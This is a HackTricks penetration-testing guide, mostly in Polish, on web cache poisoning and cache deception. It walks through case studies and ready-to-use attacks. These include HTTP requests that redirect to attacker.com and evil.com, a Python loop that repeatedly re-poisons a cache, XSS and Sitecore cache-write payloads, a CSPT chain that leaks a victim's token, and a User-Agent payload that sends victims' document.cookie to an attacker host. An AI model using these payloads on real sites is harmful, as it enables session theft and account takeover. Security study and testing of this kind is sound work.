Cache Poisoning and Cache Deception
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Różnica
Jaka jest różnica między web cache poisoning a web cache deception?
- W przypadku web cache poisoning atakujący powoduje, że aplikacja zapisuje w cache złośliwą zawartość, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
- W przypadku web cache deception atakujący powoduje, że aplikacja zapisuje w cache wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący pozyskuje tę zawartość z cache.
Cache Poisoning
Cache poisoning ma na celu manipulowanie cache po stronie klienta, aby wymusić na klientach ładowanie zasobów, które są nieoczekiwane, częściowe lub znajdują się pod kontrolą atakującego. Zakres wpływu zależy od popularności zaatakowanej strony, ponieważ zatruta odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w czasie trwania skażenia cache.
Przeprowadzenie ataku cache poisoning obejmuje kilka kroków:
- Identyfikacja niekluczowanych wejść: Są to parametry, które, choć nie są wymagane do tego, by żądanie było cachowane, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystane do manipulowania cache.
- Wykorzystanie niekluczowanych wejść: Po zidentyfikowaniu niekluczowanych wejść kolejnym krokiem jest ustalenie, jak nadużyć tych parametrów, by zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego.
- Zapewnienie, że zatruta odpowiedź zostanie zapisana w cache: Ostatnim krokiem jest upewnienie się, że zmodyfikowana odpowiedź zostanie przechowana w cache. W ten sposób każdy użytkownik odwiedzający zaatakowaną stronę podczas gdy cache jest zatruty otrzyma tę zafałszowaną odpowiedź.
Odkrywanie: Sprawdź nagłówki HTTP
Zwykle, gdy odpowiedź została przechowana w cache, pojawi się nagłówek to wskazujący — możesz sprawdzić, na które nagłówki zwracać uwagę w tym poście: HTTP Cache headers.
Odkrywanie: Buforowanie kodów błędów
Jeśli podejrzewasz, że odpowiedź jest przechowywana w cache, możesz spróbować wysłać żądania z nieprawidłowym nagłówkiem, które powinny skutkować status code 400. Następnie spróbuj wykonać żądanie normalnie i jeśli odpowiedź ma status 400, wiesz że to podatność (i możesz nawet przeprowadzić DoS).
You can find more options in:
Należy jednak pamiętać, że czasami takie kody statusu nie są cachowane, więc ten test może być zawodny.
Odkrywanie: Identyfikacja i ocena niekluczowanych wejść
Możesz użyć Param Miner do brute-force parameters and headers, które mogą zmieniać odpowiedź strony. Na przykład strona może używać nagłówka X-Forwarded-For, aby wskazać klientowi, aby załadował skrypt stamtąd:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Wywołaj szkodliwą odpowiedź z serwera back-end
Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest filtrowany i gdzie jest odbijany lub w jaki sposób wpływa na odpowiedź pochodzącą z nagłówka. Czy da się to w jakiś sposób wykorzystać (przeprowadzić XSS lub załadować kontrolowany przez Ciebie kod JS? wykonać DoS?…)
Get the response cached
Gdy już zidentyfikujesz stronę, którą można wykorzystać, który parameter/header użyć i jak to wykorzystać, musisz spowodować zapisanie strony w cache. W zależności od zasobu, który próbujesz umieścić w cache, może to zająć trochę czasu — możesz potrzebować próbować przez kilka sekund.
Nagłówek X-Cache w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość miss gdy żądanie nie zostało zapisane w cache i wartość hit gdy jest zapisane.
Nagłówek Cache-Control także jest interesujący, żeby wiedzieć, czy zasób jest cachowany i kiedy nastąpi kolejny zapis zasobu do cache: Cache-Control: public, max-age=1800
Innym ciekawym nagłówkiem jest Vary. Ten nagłówek jest często używany do wskazania dodatkowych nagłówków, które są traktowane jako część cache key, nawet jeśli normalnie nie są używane jako klucz. Dlatego, jeśli atakujący zna User-Agent ofiary, może zatruć cache dla użytkowników korzystających z tego konkretnego User-Agent.
Jeszcze jeden nagłówek związany z cache to Age. Określa on czas w sekundach, przez jaki obiekt znajduje się w proxy cache.
Podczas cachowania żądania bądź ostrożny z nagłówkami, których używasz, ponieważ niektóre z nich mogą być nieoczekiwanie użyte jako kluczowane i ofiara będzie musiała użyć tego samego nagłówka. Zawsze testuj Cache Poisoning przy użyciu różnych przeglądarek, żeby sprawdzić, czy działa.
Foundational cache poisoning case studies
HackerOne global redirect via X-Forwarded-Host
- Origin generował szablonowe przekierowania i kanoniczne URL-e z użyciem
X-Forwarded-Host, ale cache key używał tylko nagłówkaHost, więc pojedyncza odpowiedź zatruła każdego odwiedzającego/. - Zatruj cache za pomocą:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Natychmiast ponownie zażądaj
/bez spoofed header; jeśli przekierowanie utrzymuje się, masz globalny host-spoofing primitive, który często eskaluje reflected redirects/Open Graph links do stored issues.
GitHub repository DoS via Content-Type + PURGE
- Ruch anonimowy był keyed tylko według ścieżki, podczas gdy backend wchodził w stan błędu po zobaczeniu nieoczekiwanego
Content-Type. Ta odpowiedź błędu była cacheable dla każdego unauthenticated user of a repo. - GitHub również (accidentally) respected the
PURGEverb, pozwalając attackerowi flush a healthy entry i zmusić caches do pobrania poisoned variant na żądanie:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- Zawsze porównuj klucze cache dla uwierzytelnionych vs anonimowych użytkowników, fuzzuj rzadko kluczowane nagłówki takie jak
Content-Type, oraz testuj wystawione cache-maintenance verbs, aby zautomatyzować re-poisoning.
Shopify pętle trwałości między hostami
- Wielowarstwowe cache czasami wymagają kilku identycznych trafień zanim zatwierdzą nowy obiekt. Shopify wykorzystywało ten sam cache w wielu zlokalizowanych hostach, więc persistence oznaczało wpływ na wiele sklepów.
- Użyj krótkich pętli automatyzacji, aby wielokrotnie ponownie zasiewać:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
- Po odpowiedzi
hit, przeskanuj inne hosty/zasoby, które dzielą ten sam cache namespace, aby zademonstrować cross-domain blast radius.
JS asset redirect → stored XSS chain
- Prywatne programy często hostują współdzielone JS, takie jak
/assets/main.js, na dziesiątkach subdomen. Jeśli nagłówekX-Forwarded-Hostwpływa na logikę przekierowań dla tych zasobów, ale nie jest uwzględniony w kluczu cache (unkeyed), zbuforowana odpowiedź staje się 301 do attacker JS, co skutkuje stored XSS we wszystkich miejscach, gdzie zasób jest importowany.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- Zmapuj hosty, które używają tej samej ścieżki zasobów, aby móc udowodnić przejęcie wielu subdomen.
GitLab static DoS przez X-HTTP-Method-Override
- GitLab serwował statyczne bundle z Google Cloud Storage, który obsługuje
X-HTTP-Method-Override. Podmiana GET na HEAD zwracała odpowiedź możliwą do cache’owania200 OKzContent-Length: 0, a edge cache ignorował metodę HTTP przy generowaniu klucza.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- Pojedyncze żądanie zastąpiło JS bundle pustą odpowiedzią dla każdego GET, skutecznie powodując DoS interfejsu użytkownika (UI). Zawsze testuj method overrides (
X-HTTP-Method-Override,X-Method-Override, itd.) przeciwko zasobom statycznym i sprawdź, czy cache różni się w zależności od metody.
HackerOne static asset loop via X-Forwarded-Scheme
- Rails’ Rack middleware polegało na
X-Forwarded-Schemeprzy decydowaniu, czy wymusić HTTPS. Podszywanie się podhttpdla/static/logo.pngwywołało cacheowalny 301, więc wszyscy użytkownicy otrzymywali następnie przekierowania (lub pętle) zamiast zasobu:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- Łącz scheme spoofing z host spoofing, gdy to możliwe, aby tworzyć nieodwracalne przekierowania dla wysoce widocznych zasobów.
Cloudflare niezgodność wielkości liter nagłówka Host
- Cloudflare normalizował nagłówek
Hostdla kluczy cache, ale przekazywał surowe wielkości liter do originów. WysłanieHost: TaRgEt.CoMwywoływało alternatywne zachowanie w routingu/szablonowaniu originów, jednocześnie zapisując do kanonicznego kubełka cache używającego małych liter.
GET / HTTP/1.1
Host: TaRgEt.CoM
- Enumeruj tenantów CDN, odtwarzając mixed-case hosts (i inne normalized headers) oraz porównaj cached response z origin response, aby wykryć shared-platform cache poisonings.
Red Hat Open Graph meta poisoning
- Wstrzyknięcie
X-Forwarded-Hostdo tagów Open Graph zamieniło reflected HTML injection w stored XSS po tym, jak CDN cached the page. Użyj harmless cache buster podczas testów, aby nie zaszkodzić użytkownikom produkcyjnym:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- Scrapery mediów społecznościowych odczytują zbuforowane tagi Open Graph, więc pojedynczy poisoned entry rozprowadza payload znacznie dalej niż bezpośredni odwiedzający.
Przykłady wykorzystania
Najprostszy przykład
Nagłówek taki jak X-Forwarded-For jest odzwierciedlany w odpowiedzi bez sanitizacji.
Możesz wysłać podstawowy XSS payload i poison the cache, tak że każdy, kto odwiedzi stronę, zostanie XSSed:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Note that this will poison a request to /en?region=uk not to /en
Cache poisoning to DoS
Cache poisoning through CDNs
W this writeup wyjaśniono następujący prosty scenariusz:
- The CDN will cache anything under
/share/ - The CDN will NOT decode nor normalize
%2F..%2F, therfore, it can be used as path traversal to access other sensitive locations that will be cached likehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - The web server WILL decode and normalize
%2F..%2F, and will respond with/api/auth/session, which contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Zauważ, że jeśli podatne cookie jest często używane przez użytkowników, zwykłe żądania będą czyścić cache.
Generating discrepancies with delimiters, normalization and dots
Sprawdź:
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal to steal API key
This writeup explains jak możliwe było wykradzenie OpenAI API key przy użyciu URL-a takiego jak https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123, ponieważ wszystko pasujące do /share/* będzie cached bez normalizacji URL przez Cloudflare, która była wykonywana dopiero, gdy żądanie dotarło do web serwera.
To jest też lepiej wyjaśnione w:
Cache Poisoning via URL discrepancies
Using multiple headers to exploit web cache poisoning vulnerabilities
Czasami będziesz musiał exploit several unkeyed inputs, aby móc nadużyć cache. Na przykład możesz znaleźć Open redirect jeśli ustawisz X-Forwarded-Host na domenę kontrolowaną przez ciebie i X-Forwarded-Scheme na http. Jeśli server jest forwarding wszystkie żądania HTTP to HTTPS i używa nagłówka X-Forwarded-Scheme jako nazwy domeny dla przekierowania, możesz kontrolować, dokąd zostanie skierowana strona przez przekierowanie.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Wykorzystywanie przy ograniczonym nagłówku Vary
Jeśli odkryjesz, że nagłówek X-Host jest używany jako nazwa domeny do ładowania zasobu JS, ale nagłówek odpowiedzi Vary wskazuje User-Agent, musisz znaleźć sposób na exfiltrate User-Agent ofiary i poison the cache, używając tego User-Agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Wyślij żądanie GET z request umieszczonym zarówno w URL, jak i w body. Jeśli web server użyje tego z body, ale cache server zapisze wersję z URL, każdy, kto odwiedzi ten URL, faktycznie użyje parameter z body. Jak vuln znaleziony przez Jamesa Kettle’a na Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Jest laboratorium PortSwigger na ten temat: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Na przykład w serwerach ruby można rozdzielać parametry znakiem ; zamiast &. Da się to wykorzystać do umieszczenia wartości parametrów bez klucza wewnątrz parametrów z kluczem i ich nadużycia.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Dowiedz się tutaj, jak wykonać Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
Narzędzie Web Cache Vulnerability Scanner może być użyte do automatycznego testowania pod kątem web cache poisoning. Wspiera wiele różnych technik i jest wysoce konfigurowalne.
Przykład użycia: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ten wzorzec z rzeczywistego świata łączy prymityw odzwierciedlania nagłówka z zachowaniem CDN/WAF, by niezawodnie zatruć cache’owany HTML serwowany innym użytkownikom:
- Główny HTML odzwierciedlał niezaufany nagłówek żądania (np.
User-Agent) do kontekstu wykonywalnego. - CDN usuwał nagłówki cache, ale istniał wewnętrzny/origin cache. CDN także automatycznie cachował żądania kończące się na statyczne rozszerzenia (np.
.js), podczas gdy WAF stosował słabszą inspekcję treści dla GETów zasobów statycznych. - Szeregi przepływu żądań pozwalały, aby żądanie do ścieżki
.jswpłynęło na klucz/wariant cache używany dla następnego głównego HTML, umożliwiając cross-user XSS poprzez odzwierciedlenie nagłówka.
Praktyczny przepis (zaobserwowany w popularnym CDN/WAF):
- Z czystego IP (unikaj wcześniejszych obniżeń reputacji), ustaw złośliwy
User-Agentprzez przeglądarkę lub Burp Proxy Match & Replace. - W Burp Repeater przygotuj grupę z dwóch żądań i użyj “Send group in parallel” (najlepiej działa tryb single-packet):
- Pierwsze żądanie: GET zasobu
.jsna tym samym originie, wysyłając złośliwyUser-Agent. - Natychmiast potem: GET głównej strony (
/).
- Wyścig routingu CDN/WAF plus automatycznie cachowane
.jsczęsto zasiewa zatrutą wariantę HTML w cache, która następnie jest serwowana innym odwiedzającym współdzielącym te same warunki klucza cache (np. te same wymiaryVaryjakUser-Agent).
Przykładowy header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Wiele CDN-ów ukrywa nagłówki cache; poisoning może ujawnić się dopiero przy cyklach odświeżania trwających kilka godzin. Użyj wielu vantage IPs i throttle, aby uniknąć wyzwalaczy rate-limit lub problemów z reputacją.
- Użycie adresu IP z chmury samego CDN-a czasami poprawia spójność routingu.
- Jeśli obowiązuje restrykcyjny CSP, to nadal działa, jeśli reflection wykonuje się w głównym kontekście HTML i CSP zezwala na inline execution lub jest obejdany przez kontekst.
Impact:
- Jeśli session cookies aren’t
HttpOnly, zero-click ATO jest możliwy przez masowe exfiltratingdocument.cookieod wszystkich użytkowników, którym serwowany jest poisoned HTML.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Specyficzny dla Sitecore wzorzec umożliwia nieautoryzowane zapisy do HtmlCache poprzez nadużycie pre‑auth XAML handlers i AjaxScriptManager reflection. Kiedy zostanie osiągnięty handler Sitecore.Shell.Xaml.WebControl, dostępny jest xmlcontrol:GlobalHeader (pochodzący z Sitecore.Web.UI.WebControl) i dozwolony jest następujący reflective call:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
To zapisuje dowolny HTML pod wybranym przez atakującego cache key, umożliwiając precyzyjne cache poisoning po poznaniu cache key.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
Przykłady podatności
Apache Traffic Server (CVE-2021-27577)
ATS forwardował fragment zawarty w URL bez jego usuwania i generował cache key używając tylko host, path i query (ignorując fragment). Zatem żądanie /#/../?r=javascript:alert(1) zostało wysłane do backendu jako /#/../?r=javascript:alert(1) i cache key nie zawierał payloadu, tylko host, path i query.
403 and Storage Buckets
Cloudflare wcześniej cache’ował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami Authorization skutkowała odpowiedzią 403, która była cache’owana. Chociaż Cloudflare przestał cache’ować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.
Injecting Keyed Parameters
Cache często zawierają konkretne parametry GET w cache key. Na przykład Varnish u Fastly cache’ował parametr size w żądaniach. Jednak jeśli wersja parametru zakodowana w URL (np. siz%65) była również przesłana z błędną wartością, cache key był konstruowany używając poprawnego parametru size. Backend natomiast przetwarzał wartość z zakodowanego parametru. URL-encoding drugiego parametru size powodował jego pominięcie przez cache, ale wykorzystanie przez backend. Przypisanie wartości 0 temu parametrowi skutkowało cache’owalnym 400 Bad Request.
User Agent Rules
Niektórzy deweloperzy blokują żądania z user-agentami pasującymi do narzędzi o dużym ruchu, takich jak FFUF czy Nuclei, aby ograniczyć obciążenie serwera. Paradoksalnie, takie podejście może wprowadzać luki, takie jak cache poisoning i DoS.
Illegal Header Fields
The RFC7230 specifies the acceptable characters in header names. Nagłówki zawierające znaki poza określonym zakresem tchar powinny w idealnym przypadku wywoływać 400 Bad Request. W praktyce serwery nie zawsze trzymają się tego standardu. Przykładem jest Akamai, który forwarduje nagłówki z nieprawidłowymi znakami i cache’uje każdy 400 error, o ile nagłówek cache-control nie jest obecny. Zidentyfikowano podatny wzorzec, w którym wysłanie nagłówka zawierającego nielegalny znak, na przykład \, skutkowało cache’owalnym 400 Bad Request.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.
Po pierwsze, zauważ że extensions takie jak .css, .js, .png itp. są zwykle konfigurowane, aby być zapisywane w cache. Dlatego jeśli uzyskasz dostęp do www.example.com/profile.php/nonexistent.js, cache prawdopodobnie zapisze odpowiedź, ponieważ wykrywa rozszerzenie .js. Jednak jeśli application odpowiada z sensitive treścią użytkownika zapisaną w www.example.com/profile.php, możesz steal te treści od innych użytkowników.
Inne rzeczy do przetestowania:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Użyj mniej znanych rozszerzeń, takich jak
.avif
Bardzo klarowny przykład znajduje się w tym write-upie: https://hackerone.com/reports/593712.
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę jak http://www.example.com/home.php/non-existent.css, zawartość http://www.example.com/home.php (z poufnymi informacjami użytkownika) zostanie zwrócona i serwer cache zapisze wynik.
Następnie attacker może odwiedzić http://www.example.com/home.php/non-existent.css w swojej przeglądarce i zobaczyć confidential information użytkowników, którzy wcześniej odwiedzili stronę.
Zauważ, że cache proxy powinien być konfigurowany, aby cache’ować pliki na podstawie extension pliku (.css) a nie na podstawie content-type. W przykładzie http://www.example.com/home.php/non-existent.css będzie miał content-type text/html zamiast text/css mime type.
Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
Ten wzorzec łączy Client-Side Path Traversal (CSPT) w Single-Page App (SPA) z cachingiem CDN opartym na rozszerzeniach, aby publicznie cache’ować wrażliwe JSON, które pierwotnie były dostępne tylko przez uwierzytelnione wywołanie API.
Główna idea:
- Wrażliwy endpoint API wymaga niestandardowego auth header i jest poprawnie oznaczony jako non-cacheable na origin.
- Dodanie statycznie wyglądającego sufiksu (na przykład
.css) sprawia, że CDN traktuje ścieżkę jako asset statyczny i cache’uje odpowiedź, często bez vary na sensitive headers. - SPA zawiera CSPT: konkatenatuje kontrolowany przez użytkownika segment ścieżki do URL API podczas dołączania auth header ofiary (na przykład X-Auth-Token). Przez wstrzyknięcie traversalu ../.. uwierzytelnione fetch zostaje przekierowane do wariantu ścieżki możliwej do cache’owania (…/v1/token.css), powodując, że CDN cache’uje JSON z tokenem ofiary pod publicznym cache key.
- Każdy może potem wykonać GET tego samego cache key bez uwierzytelnienia i odzyskać token ofiary.
Example
- Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- Sufiks wyglądający na statyczny sprawia, że CDN uznaje zasób za cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT w SPA dołącza auth header i pozwala traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- Łańcuch ataku:
- Zwab ofiarę na URL, który wstrzykuje dot-segments do parametru ścieżki SPA, np.:
- SPA wykonuje uwierzytelnione fetch do:
- Normalizacja przeglądarki sprowadza je do:
- CDN traktuje .css jako zasób statyczny i buforuje JSON z nagłówkiem Cache-Control: public, max-age=…
- Publiczne pobranie: ktokolwiek może potem wykonać GET https://api.example.com/v1/token.css i uzyskać zbuforowany JSON z tokenem.
Warunki wstępne
- SPA wykonuje uwierzytelnione fetch/XHR do tej samej domeny API (lub cross-origin z działającym CORS) i dołącza wrażliwe nagłówki lub bearer tokens.
- Edge/CDN stosuje caching oparty na rozszerzeniach dla ścieżek wyglądających na statyczne (np. *.css, *.js, obrazy) i nie różnicuje klucza cache w zależności od wrażliwego nagłówka.
- Origin dla podstawowego endpointu nie jest cachowany (tak powinno być), ale wariant z dopisanym rozszerzeniem jest dozwolony lub nieblokowany przez reguły edge.
Lista kontrolna walidacji
- Zidentyfikuj wrażliwe dynamiczne endpointy i spróbuj sufiksów takich jak .css, .js, .jpg, .json. Szukaj nagłówka Cache-Control: public/max-age oraz X-Cache: Hit (lub odpowiednika, np. CF-Cache-Status) gdy zawartość pozostaje JSON.
- Znajdź kod klienta, który konkatenatuje dane kontrolowane przez użytkownika do ścieżek API przy jednoczesnym dołączaniu nagłówków auth. Wstrzyknij sekwencje ../ aby przekierować uwierzytelnione żądanie do docelowego endpointu.
- Potwierdź, że uwierzytelniony nagłówek jest obecny w retargetowanym żądaniu (np. w proxy lub w logach serwera) i że CDN buforuje odpowiedź pod przebywaną ścieżką.
- Z nowego kontekstu (bez auth) zażądaj tej samej ścieżki i potwierdź, że tajny JSON jest serwowany z bufora.
Narzędzia automatyczne
- toxicache: Skaner w Golang do wykrywania web cache poisoning w liście URL-i i testowania różnych technik wstrzykiwania.
Referencje
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

